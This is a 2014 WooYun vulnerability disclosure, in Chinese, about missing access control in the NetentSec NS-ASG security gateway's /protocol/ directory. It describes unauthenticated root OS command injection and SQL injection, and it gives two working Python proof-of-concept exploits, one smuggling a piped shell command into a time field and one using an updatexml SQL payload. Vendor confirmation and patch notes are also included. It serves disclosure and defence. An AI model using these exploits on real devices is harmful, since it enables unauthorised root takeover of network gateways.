当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-058967

漏洞标题:网康 NS-ASG 应用安全网关权限缺失而引起的蝴蝶效应

相关厂商:北京网康科技有限公司

漏洞作者: fate0

提交时间:2014-04-30 12:41

修复时间:2014-07-29 12:42

公开时间:2014-07-29 12:42

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-30: 细节已通知厂商并且等待厂商处理中
2014-05-02: 厂商已经确认,细节仅向厂商公开
2014-05-05: 细节向第三方安全合作伙伴开放
2014-06-26: 细节向核心白帽子及相关领域专家公开
2014-07-06: 细节向普通白帽子公开
2014-07-16: 细节向实习白帽子公开
2014-07-29: 细节向公众公开

简要描述:

安全网关不再安全。
网康 NS-ASG 应用安全网关对在/protocol/目录下所有文件没有做任何访问限制,属于严重的权限缺失
而由于这里的权限缺失,任意未授权的用户可以做到:
1. 漏洞层面:
* SQL注入
* OS命令注入(apache running by root, 所以命令也是root执行)
2. 业务层面:
* 获取系统cpu,内存,硬盘,网卡,授权,版本的信息
* 任意修改系统时间
* 任意增删改路由规则
* 任意查询删除系统日志
* 任意增删改防火墙规则
* 对系统进行关闭,重启,升级
* 任意增删改用户,用户组,组策略
那这里的漏洞数是算一个权限缺失呢,还是算20多,30多个SQL,OS注入呢?
来个精华吧 : )

详细说明:

file: /protocol/index.php中

1.png


line1 的 ../include/common.inc文件是一些共有函数的定义
line3-line5可以看到应用对$_POST['jsoncontent']没有任何过滤,
并且使用了stripslashes()函数,从而导致我们可以随意使用单引号,反斜线等符号,
也就是说最后的$procotalarray变量是我们完完全全控制的,通过$procotalarray['protocolType']选择include相对应的文件,
嗯,这里有70多个include,里面存在若干个包含SQL注入(因为单引号未过滤),若干个OS命令注入,我们随便拿几个来讨论。
file: /protocol/devicestatus/setdevicetime.php

2.png


可以让$procotalarray['protocolType'] = setdevicetime 来包含/protocol/devicestatus/setdevicetime.php 文件,
这里也很明显,所有变量都是完全可控,最后可控变量$datestr或$timestr便进入了exec函数中,下面是对应的exploit

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
import sys
import requests
from optparse import OptionParser
def init_parser():
print("")
print("=== POC for NetentSec OS Command Injection ===")
print("=== by fate0 ===")
print("=== [email protected] ===")
print("=== weibo.com/fatez3r0 ===")
print("")
usage = "Usage: %prog --host http://www.fatezero.org"
parser = OptionParser(usage=usage, description="POC for NetentSec OS Command Injection")
parser.add_option("--host", type="str", dest="host", help="remote host name")
return parser
def exploit(domain):
payload = dict()
payload['jsoncontent'] = ('{"protocolType":"setdevicetime","messagecontent":'
'"test|ifconfig>\/Isc\/third-party\/httpd\/htdocs\/fate.txt"}')
try:
requests.post("{domain}/protocol/index.php".format(domain=domain), data=payload, verify=False)
response = requests.get("{domain}/fate.txt".format(domain=domain), verify=False)
except Exception, e:
print("[-] Got Exception {exception}".format(exception=e))
sys.exit()
if response.status_code == 200:
print("[+] Target is vulnerable")
else:
print("[-] Target is not vulnerable")
def main():
parser = init_parser()
option, _ = parser.parse_args()
domain = option.host
if not domain:
parser.print_help()
sys.exit(0)
domain = domain if domain.startswith('http') else "https://{domain}".format(domain=domain)
domain = domain if not domain.endswith('/') else domain[:-1]
exploit(domain)
if __name__ == '__main__':
main()


同理还有
file: /protocol/firewall/deletefirewall.php

3.png

file: /protocol/iscdevicestatus/applyvalue.php

4.png


file: /protocol/iscdevicestatus/getsysdatetime.php

5.png


同样类型的漏洞就不分析和写exploit了。
SQL注入更是数不胜数,在/protocol下的文件,一般带入SQL语句的变量都是$procotalarray中的一个元素赋值,
由于之前的stripslashes()函数,让我们可以简单闭合SQL语句,还是简单说几个例子。
file: /protocol/log/listloginfo.php

12.png


$procotalarray['search']完全可控,赋值给$search变量,最终导致SQL注入,下面是对应的exploit

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
import sys
import requests
from optparse import OptionParser
def init_parser():
print("")
print("=== POC for NetentSec SQL Injection ===")
print("=== by fate0 ===")
print("=== [email protected] ===")
print("=== weibo.com/fatez3r0 ===")
print("")
usage = "Usage: %prog --host http://www.fatezero.org"
parser = OptionParser(usage=usage, description="POC for NetentSec SQL Injection")
parser.add_option("--host", type="str", dest="host", help="remote host name")
return parser
def exploit(domain):
payload = dict()
payload['jsoncontent'] = ('''{"protocolType":"list_log_info","search":"admin' and '''
'''updatexml(0x1, concat(1, (select md5('fate0'))), 0x1) -- "}''')
try:
response = requests.post("{domain}/protocol/index.php".format(domain=domain), data=payload, verify=False)
except Exception, e:
print("[-] Got Exception {exception}".format(exception=e))
sys.exit()
if 'bcd38c5ee4daa720af041484ea017c' in response.content:
print("[+] Target is vulnerable")
else:
print("[-] Target is not vulnerable")
def main():
parser = init_parser()
option, _ = parser.parse_args()
domain = option.host
if not domain:
parser.print_help()
sys.exit(0)
domain = domain if domain.startswith('http') else "https://{domain}".format(domain=domain)
domain = domain if not domain.endswith('/') else domain[:-1]
exploit(domain)
if __name__ == '__main__':
main()


同理还有
file: /protocol/firewall/getethname.php

13.png


file: /protocol/iscdevicestatus/deleteonlineuser.php

14.png


file: /protocol/firewall/upaddress_interpret.php

15.png


另外还有一些危险的操作。
重启系统:

6.png


关闭系统:

7.png


哦,对了即便是在/protocol/index.php文件中加上了权限判断,也可以直接访问子目录的文件。
因为

 2014-04-30 上午4.48.34.png


所以尽量每个文件都添加判断

漏洞证明:

OS命令注入

8.png


9.png


10.png


SQL注入

11.png

修复方案:

建议wooyun众测吧,漏洞实在太多了 :)

版权声明:转载请注明来源 fate0@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-05-02 21:56

厂商回复:

CNVD确认并复现所述多个实例情况,已经先行将漏洞信息转报给设备生产厂商——网康公司。根据生产厂商2日最新反馈情况,厂商已经着手查找用户列表进行修复,同时已经发布ASG6.3 Patch2补丁,建议用户向软生产厂产寻求补丁及解决方案。

最新状态:

暂无